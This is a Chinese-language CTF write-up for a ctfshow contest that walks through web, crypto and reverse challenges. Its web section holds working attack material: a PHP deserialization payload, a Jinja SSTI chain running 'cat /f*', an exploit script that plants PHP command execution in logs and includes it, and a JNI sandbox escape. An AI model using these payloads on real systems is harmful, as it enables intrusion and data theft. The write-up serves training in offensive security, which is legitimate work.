前言
官方wp:https://ctf-show.feishu.cn/docx/R6udd58bxoQGQMxFphncZq8rn5e
WEB
签到·好玩的PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
unserialize($_GET["dsbctf"]);
发现 ctf 没被转成 string,那么可以给ctf传数字
八进制转十进制比较就行
<?php
class ctfshow {
private $d = '1';
private $s = '0';
private $b = '';
private $ctf = 012;
}
$a=new ctfshow();
echo urlencode(serialize($a));
ezzz_ssti
限制长度42
参数带外绕过:
{{url_for.__globals__[request.args.a]}}
{{lipsum.__globals__.os[request.args.a]}}
但是此时我们依旧只能控制一个参数,后者长度超了1位
参考:https://blog.csdn.net/weixin_43995419/article/details/126811287
设置多个 config 一层层带出整个payload
{{config}}
{%set x=config.update(l=lipsum)%}
{%set x=config.update(u=config.update)%}
{%set x=config.u(g=request.args.a)%}&a=__globals__
{%set x=config.u(o=lipsum[config.g].os)%}
{%set x=config.u(f=config.l[config.g])%}
{{config.f.os.popen('cat /f*').read()}}
ez_inject
分析一下session的组成:
{'echo_message':'1','is_admin':0,'username':'1'}
我们可控的部分是 echo_message 和 username,没啥用
测试发现 /register 可以传入json
直接打原型链污染 static 试试
然后直接访问 static/flag 得到flag
预期解:污染key改session,在 /echo 处打ssti
迷雾重重
<?php
namespace app\controller;
use support\Request;
use support\exception\BusinessException;
class IndexController
{
public function index(Request $request)
{
return view('index/index');
}
public function testUnserialize(Request $request){
if(null !== $request->get('data')){
$data = $request->get('data');
unserialize($data);
}
return "unserialize测试完毕";
}
public function testJson(Request $request){
if(null !== $request->get('data')){
$data = json_decode($request->get('data'),true);
if(null!== $data && $data['name'] == 'guest'){
return view('index/view', $data);
}
}
return "json_decode测试完毕";
}
public function testSession(Request $request){
$session = $request->session();
$session->set('username',"guest");
$data = $session->get('username');
return "session测试完毕 username: ".$data;
}
public function testException(Request $request){
if(null != $request->get('data')){
$data = $request->get('data');
throw new BusinessException("业务异常 ".$data,3000);
}
return "exception测试完毕";
}
}
给了个unserialize,json模板渲染,session 和一个抛出异常
观察模板渲染的配置:
public function testJson(Request $request){
if(null !== $request->get('data')){
$data = json_decode($request->get('data'),true);
if(null!== $data && $data['name'] == 'guest'){
return view('index/view', $data);
}
}
return "json_decode测试完毕";
}
function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response
{
$request = \request();
$plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
$handler = \config($plugin ? "plugin.$plugin.view.handler" : 'view.handler');
return new Response(200, [], $handler::render($template, $vars, $app, $plugin));
}
config/view.php
return [
'handler' => Raw::class
];
function raw_view(string $template, array $vars = [], string $app = null): Response
{
return new Response(200, [], Raw::render($template, $vars, $app));
}
public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
{
$request = request();
$plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
$configPrefix = $plugin ? "plugin.$plugin." : '';
$viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
$app = $app === null ? ($request->app ?? '') : $app;
$baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
$__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";
if(isset($request->_view_vars)) {
extract((array)$request->_view_vars);
}
extract($vars);
ob_start();
// Try to include php file.
try {
include $__template_path__;
} catch (Throwable $e) {
ob_end_clean();
throw $e;
}
return ob_get_clean();
}
这里有变量覆盖,下面 include 可以直接包含文件,尝试直接包含 proc
预期是包含框架日志文件
官方exp:
import requests
import time
from datetime import datetime
#注意 这里题目地址 应该https换成http
url = "http://6d2d54ba-5db3-454c-b8b4-869e514c1376.challenge.ctf.show/"
#Author: ctfshow h1xa
def get_webroot():
print("[+] Getting webroot...")
webroot = ""
for i in range(1,300):
r = requests.get(url=url+'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))
time.sleep(0.2)
if "start.php" in r.text:
print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")
webroot = r.text.split("start_file=")[1][:-10]
print(f"Found webroot: {webroot}")
break
return webroot
def send_shell(webroot):
#payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot)
payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format(webroot)
r = requests.get(url=url+payload)
time.sleep(1)
if r.status_code == 500:
print("[\033[31m*\033[0m] Shell sent successfully")
else:
print("Failed to send shell")
def include_shell(webroot):
now = datetime.now()
payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format(webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d"))
r = requests.get(url=url+payload)
time.sleep(5)
r = requests.get(url=url+'flag.txt')
if "ctfshow" in r.text:
print("=================FLAG==================\n")
print("\033[32m"+r.text+"\033[0m")
print("=================FLAG==================\n")
print("[\033[31m*\033[0m] Shell included successfully")
else:
print("Failed to include shell")
def exploit():
webroot = get_webroot()
send_shell(webroot)
include_shell(webroot)
if __name__ == '__main__':
exploit()
简单的文件上传(复现)
jar文件上传
测试发现执行jar包的逻辑是先复制后执行然后再删除这个jar包
而且利用竞争可以访问到这个文件的内容
尝试读 ../index.php
拿到源码:
<?php
session_start();
error_reporting(0);
$output = "";
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
upload_file();
break;
case 'execute':
$output = execute_jar();
break;
case 'delete':
delete_file($_GET['file']);
break;
default:
break;
}
}
function delete_file($file) {
$file = str_replace("..", "", $file);
$file = str_replace("../", "", $file);
$file = str_replace("php", "", $file);
if(strpos($file, "uploads/") === FALSE){
$file = "uploads/$file";
}
if(strpos($file, "/") === 0){
$file = substr($file, 1);
}
if(substr($file, -4) == ".jar"){
if (file_exists($file)) {
unlink($file);
}
}
header("Location: index.php");
}
function send_redirect_script_after_seconds_with_message($url,$message,$second=0) {
die("<script language='javascript'>alert('$message');setTimeout(function(){window.location.href='$url';},$second*1000);</script>");
}
function upload_file() {
if (isset($_FILES['file'])) {
if(!check_file_name($_FILES['file']['name'])){
send_redirect_script_after_seconds_with_message("index.php","Invalid file name");
}
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if ($FileType != "jar") {
send_redirect_script_after_seconds_with_message("index.php","Invalid file type");
$uploadOk = 0;
}
if ($uploadOk == 0) {
send_redirect_script_after_seconds_with_message("index.php","How did you get here?");
} else {
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
send_redirect_script_after_seconds_with_message("index.php","The file ". basename( $_FILES["file"]["name"]). " has been uploaded.");
} else {
send_redirect_script_after_seconds_with_message("index.php","Sorry, there was an error uploading your file");
}
}
}
send_redirect_script_after_seconds_with_message("index.php","No file selected");
}
function check_file_name($file_name){
if(preg_match("/^[a-zA-Z0-9_\-\.]+$/", $file_name)){
return true;
}else{
return false;
}
}
function execute_jar() {
if (isset($_POST['jar_name']) && file_exists("./uploads/".$_POST['jar_name'])) {
$jar_name = $_POST['jar_name'];
$old_name = $jar_name;
$new_name = md5($jar_name).".jar";
file_rename($old_name,$new_name);
if(preg_match("/^[a-fA-F0-9]{32}\.jar$/", $new_name) && file_exists("uploads/$new_name") ){
$output = shell_exec("/usr/local/java/bin/java -Djava.security.manager -Djava.security.policy==/usr/local/bin/ctfer.policy -jar uploads/$new_name 2>&1");
$output = nl2br($output);
$output = $output."<br><br>Jar file executed successfully.";
}else{
$output = "Invalid jar name";
}
file_rename($new_name,$old_name);
}else{
send_redirect_script_after_seconds_with_message("index.php","Jar file not found");
}
return $output;
}
function file_rename($oldname,$newname){
if(file_exists("./uploads/".$oldname)){
if(file_exists("./uploads/".$newname)){
unlink("./uploads/".$newname);
}else{
rename("./uploads/".$oldname,"./uploads/".$newname);
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CTFER</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
#layout {
display: flex;
flex-direction: column;
height: 100vh;
}
.header {
background-color: #333;
color: #fff;
padding: 20px;
text-align: center;
}
.header h1 {
font-size: 36px;
margin: 0;
}
.header h2 {
font-size: 24px;
margin: 10px 0 0 0;
}
.content {
flex: 1;
padding: 20px;
}
.content h2 {
font-size: 24px;
margin: 20px 0 10px 0;
}
.content form {
display: flex;
flex-direction: column;
}
.content form input[type="file"] {
margin-bottom: 10px;
}
.content form input[type="submit"] {
background-color: #333;
border: none;
color: #fff;
cursor: pointer;
font-size: 18px;
padding: 10px;
}
.content form input[type="text"] {
margin-bottom: 10px;
padding: 10px;
width: 100%;
}
.content form input[type="submit"]:hover {
background-color: #555;
}
.footer {
background-color: #333;
color: #fff;
padding: 20px;
text-align: center;
position: absolute;
bottom: 0;
width: 100%;
}
.footer p {
margin: 0;
}
.grids {
display: grid;
grid-template-columns: 1fr;
grid-template-rows: auto 1fr auto;
grid-gap: 20px;
height: 100%;
width: 100%;
}
a {
color: #fff;
text-decoration: none;
}
.file {
margin-bottom: 10px;
padding-bottom: 10px;
}
.file a {
font-size: 18px;
padding: 10px;
background-color: #333;
color: #fff;
border-radius: 5px;
}
.file a:hover {
background-color: #555;
}
</style>
</head>
<body>
<div id="main" class="grids">
<div class="header">
<h1>Jar execute online</h1>
<h2>Upload your jar file and execute it online</h2>
</div>
</div>
<div class="content">
<h2>Upload your jar file</h2>
<form action="/index.php?action=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" accept=".jar" required />
<input type="submit" value="Upload">
</form>
<h2>List of uploaded files</h2>
<?php
$files = glob('uploads/*.jar');
foreach ($files as $file) {
echo "<p class='file'><a href='$file'>$file</a> <a href='index.php?action=delete&file=$file'>Delete</a></p>";
}
?>
<h2>Execute your jar file</h2>
<form action="/index.php?action=execute" method="post">
<input type="text" name="jar_name" id="jar_name" placeholder="Enter jar file name" required />
<input type="submit" value="Execute">
</form>
<h2>Output</h2>
<p>
<?php echo $output;?>
</p>
</div>
<div class="footer">
<div class="legal pure-g">
<div class="pure-u-1 u-sm-1-2">
<p>©
<script>document.write(new Date().getFullYear())</script> CTFshow. All rights reserved.
</p>
</div>
<div class="pure-u-1 u-sm-1-2">
<p>Designed by <a href="https://ctf.show" target="_blank" noopener noreferrer>h1xa</a></p>
</div>
</div>
</div>
</div>
</body>
<html>
尝试目录穿越读其它文件,但是读不了,因为这里的读文件逻辑是 rename 文件过来然后又 rename 回去,导致没有写权限的全寄
接下来思考打java沙箱逃逸
/usr/local/java/bin/java -Djava.security.manager -Djava.security.policy==/usr/local/bin/ctfer.policy -jar uploads/$new_name 2>&1
测了下权限,没有读写命令执行,只剩个关闭jvm的权限,几种绕过方式都尝试了但是绕不过去
尝试删掉 /usr/local/bin/ctfer.policy,利用replace构造目录穿越,但是后缀锁死 .jar 了
function delete_file($file) {
$file = str_replace("..", "", $file);
$file = str_replace("../", "", $file);
$file = str_replace("php", "", $file);
if(strpos($file, "uploads/") === FALSE){
$file = "uploads/$file";
}
if(strpos($file, "/") === 0){
$file = substr($file, 1);
}
if(substr($file, -4) == ".jar"){
if (file_exists($file)) {
unlink($file);
}
}
header("Location: index.php");
}
.php./.php./.php./.php./.php./.php./usr/local/java/jre/lib/security/policy/limited/local_policy.jar
打phar反序列化,但是没有类可以利用啊。。
那么,如果我们条件竞争90b5e0c104040820ae639c2f25f740d9.jar
,是否可以实现替换 index.php 为我们的马
file_rename($old_name,$new_name);
if(preg_match("/^[a-fA-F0-9]{32}\.jar$/", $new_name) && file_exists("uploads/$new_name") ){
$output = shell_exec("/usr/local/java/bin/java -Djava.security.manager -Djava.security.policy==/usr/local/bin/ctfer.policy -jar uploads/$new_name 2>&1");
$output = nl2br($output);
$output = $output."<br><br>Jar file executed successfully.";
}else{
$output = "Invalid jar name";
}
file_rename($new_name,$old_name);
也就是说,我们要并发这几个接口
execute:重命名../index.php为90b5e0c104040820ae639c2f25f740d9.jar
delete:删除90b5e0c104040820ae639c2f25f740d9.jar
upload:上传我们的马90b5e0c104040820ae639c2f25f740d9.jar,让第二次rename替换index.php为我们的马
但是这里尝试竞争还是失败了,怎么办呢,写个真的 90b5e0c104040820ae639c2f25f740d9.jar 包 sleep 试试
upload:上传我们的90b5e0c104040820ae639c2f25f740d9.jar
execute:重命名../index.php为90b5e0c104040820ae639c2f25f740d9.jar
上面两个竞争执行,结果是把index.php删掉了
”不需要 扫描 爆破 竞争 盲注“
回过头来还是要绕 security.policy ,参考http://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8
研究了半天的沙箱逃逸,唯一没试的就是调用本地方法绕过
验一下权限
import java.io.FilePermission;
import java.lang.reflect.ReflectPermission;
import java.net.SocketPermission;
import java.security.Permission;
import java.security.SecurityPermission;
import java.util.PropertyPermission;
public class shell {
public static void main(String[] args) throws Exception {
SecurityManager securityManager = System.getSecurityManager();
Permission permission = new FilePermission("/var/www/html/uploads/-", "read");
try {
securityManager.checkPermission(permission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查网络连接权限
Permission netPermission = new SocketPermission("localhost:80", "connect");
try {
securityManager.checkPermission(netPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查运行时权限
RuntimePermission runtimePermission = new RuntimePermission("setSecurityManager");
try {
securityManager.checkPermission(runtimePermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查属性访问权限
Permission propertyPermission = new PropertyPermission("my.property", "read");
try {
securityManager.checkPermission(propertyPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查反射权限
Permission reflectionPermission = new ReflectPermission("suppressAccessChecks");
try {
securityManager.checkPermission(reflectionPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查退出虚拟机的权限
RuntimePermission exitVMPermission = new RuntimePermission("exitVM");
try {
securityManager.checkPermission(exitVMPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查设置线程上下文类加载器的权限
RuntimePermission setContextClassLoaderPermission = new RuntimePermission("setContextClassLoader");
try {
securityManager.checkPermission(setContextClassLoaderPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查创建类加载器的权限
RuntimePermission createClassLoaderPermission = new RuntimePermission("createClassLoader");
try {
securityManager.checkPermission(createClassLoaderPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查权限检查权限
RuntimePermission permissionCheckPermission = new RuntimePermission("checkPermission");
try {
securityManager.checkPermission(permissionCheckPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查打开 URL 连接的权限
Permission urlPermission = new SocketPermission("www.example.com:80", "connect");
try {
securityManager.checkPermission(urlPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查设置安全策略的权限
Permission securityPermission = new SecurityPermission("setPolicy");
try {
securityManager.checkPermission(securityPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
// 检查加载本地库的权限
RuntimePermission loadLibraryPermission = new RuntimePermission("loadLibrary.YourLibraryName");
try {
securityManager.checkPermission(loadLibraryPermission);
System.out.println("yes");
} catch (SecurityException e) {
System.out.println("no");
}
}
}
上传 jar 包执行,发现有 loadLibrary 的权限和 uploads 目录的读取权限,说明可以打本地方法调用
依据参考文章,准备一个恶意 so 改成 jar 后缀上传,这里直接用官方提供的 CTFshowCodeManager.jar 了
然后构造外部 JavaEngine.jar 文件
package com.ctfshow;
public class ClassLoader {
static {
System.load("/var/www/html/uploads/CTFshowCodeManager.jar");
}
public static native String eval(String cmd);
}
package com.ctfshow;
public class Main {
public static void main(String[] args) throws Exception {
ClassLoader.eval("ls /;cat /*");
}
}
先上传恶意 so 的 jar,再执行外部 jar 即可 getshell
Crypto
签到·一把梭
from Crypto.Util.number import *
#小鼎,24岁。网安专业old star.最近入坑ctf,想体验一把梭的感觉。于是他的朋友给他找来了cahtylin先生。cahtylin先生听闻,欣然写下此题。
falg = '?????'
m = bytes_to_long(falg)
print(m)
#什么年代了还在做低加密指数的传统RSA?我就猜出题人在100以内找个d然后模拟出e加密的。
# m =365570067986928236989573788230270407130085464313909252527513197832758480604817399268366313889131551088558394832418649150417321940578277210433329648095352247884911033780856767602238960538520312352025465812228462858158997175162265505345470937926646520732298730237509998898024691120409770049168658027104966429925920045510148612448817
# print(long_to_bytes(m))
# 得到 n 和 c
给了范围直接爆破d就行
from Crypto.Util.number import *
n = 0x846d39bff2e430ce49d3230c7f00b81b23e4f0c733f7f52f6a5d32460e456e5f
c = 0x4eeec51849a85e5a6566f8d73a74b1e64959aa893f98e01c1e02c3120496f8b1
for d in range(100):
m = pow(c, d, n)
print(long_to_bytes(m))
flag:ctfshow{b4n_your_1_b1o0d}
Reverse
签到·easyRE(Unsolved)
package com.ctfshow;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.Locale;
import javax.tools.DiagnosticListener;
import javax.tools.JavaCompiler;
import javax.tools.JavaFileObject;
import javax.tools.StandardJavaFileManager;
import javax.tools.ToolProvider;
public class Application {
public Application() {
}
public void run() throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
String cN7sber = "D8yDSBCTF";
byte[] bts = this.ssrd_77g("o0QlJKT2F0MExZMkE9PSI7CiAgICAgICAgU3RyaW5nQnVpbGRlciBj");
String fcys8ss = new String(bts, StandardCharsets.UTF_8);
JavaCompiler ckcc7sls = ToolProvider.getSystemJavaCompiler();
StandardJavaFileManager f8bysc = ckcc7sls.getStandardFileManager((DiagnosticListener)null, (Locale)null, (Charset)null);
MJscysr__p maprys = new MJscysr__p(f8bysc);
JavaFileObject f0gg = maprys.mstrs93_xxr(cN7sber, fcys8ss);
List<JavaFileObject> clssur = Arrays.asList(f0gg);
boolean scr7 = ckcc7sls.getTask((Writer)null, maprys, (DiagnosticListener)null, (Iterable)null, (Iterable)null, clssur).call();
if (scr7) {
ClassLoader cl77s = maprys.gcllsr332_newer(cN7sber, maprys.gfpr8sr());
Class<?> cl9fy_ = cl77s.loadClass(cN7sber);
Object insry = cl9fy_.newInstance();
Method mdr7sfy = cl9fy_.getMethod("start");
mdr7sfy.invoke(insry);
}
}
private byte[] ssrd_77g(String ssr) {
return Base64.getDecoder().decode("...");
}
}
ssrd_77g base64解出来是一个类
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.*;
public class D8yDSBCTF {
private static final String P3WSSK = "AES/ECB/PKCS5Padding";
private static final String C89SYS__ = "abcdefghijklmnopqrstuvwxyz";
private static final String C7yyfggl = C89SYS__.toUpperCase();
private static final String N9SSCRT = "0123456789";
private static final String D9UUSACR = C89SYS__ + C7yyfggl + N9SSCRT;
private static SecureRandom rf3ffc = new SecureRandom();
public void start() throws Exception {
String key = b3f7a__0x337f2a(a98fac77f__3c2a(1<<4)).get(1);
String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1<<4)).get(0);
Scanner scanner = new Scanner(System.in);
System.out.println("please input password:");
String i3clscwyt = scanner.nextLine();
if (e3c7go_to(i3clscwyt,key).equals(e3yfbbglsk)) {
System.out.println("Login Successful");
} else {
System.out.println("Login Failed");
}
}
private List<String> b3f7a__0x337f2a(String a783c_7fxf__) {
final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==";
StringBuilder c0fybbg = new StringBuilder();
List<String> l2crsys = new ArrayList<String>();
char[] f117xc = f37xcrxedrd_.toCharArray();
for (char c : f117xc) {
c0fybbg.append((char)(((c >>> 4 ^ (c << 4) ^ (c >>> 4))) >> 4));
}
l2crsys.add(c0fybbg.substring(0,c0fybbg.length()-24));
l2crsys.add(c0fybbg.substring(l2crsys.get(0).length(),c0fybbg.length()));
return l2crsys;
}
public String a98fac77f__3c2a(int length) {
if (length < 1) throw new IllegalArgumentException("Length must be positive");
StringBuilder s7cyscrs = new StringBuilder(length);
for (int i = 0; i < length; i++) {
int randomIndex = rf3ffc.nextInt(D9UUSACR.length());
s7cyscrs.append(D9UUSACR.charAt(randomIndex));
}
return s7cyscrs.toString();
}
public String e3c7go_to(String coysc21k, String k89csbbv) throws Exception {
while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
k89csbbv += k89csbbv;
}
byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
Cipher c1ppy = Cipher.getInstance(P3WSSK);
c1ppy.init(Cipher.ENCRYPT_MODE, s88vfy);
byte[] encryptedBytes = c1ppy.doFinal(coysc21k.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
}
观察一下核心逻辑:
String i3clscwyt = scanner.nextLine();
if (e3c7go_to(i3clscwyt,key).equals(e3yfbbglsk)) {
System.out.println("Login Successful");
} else {
System.out.println("Login Failed");
}
我们的输入会在e3c7go_to
进行 AES 加密,然后和 e3yfbbglsk 对比
但是还是看不懂逆向!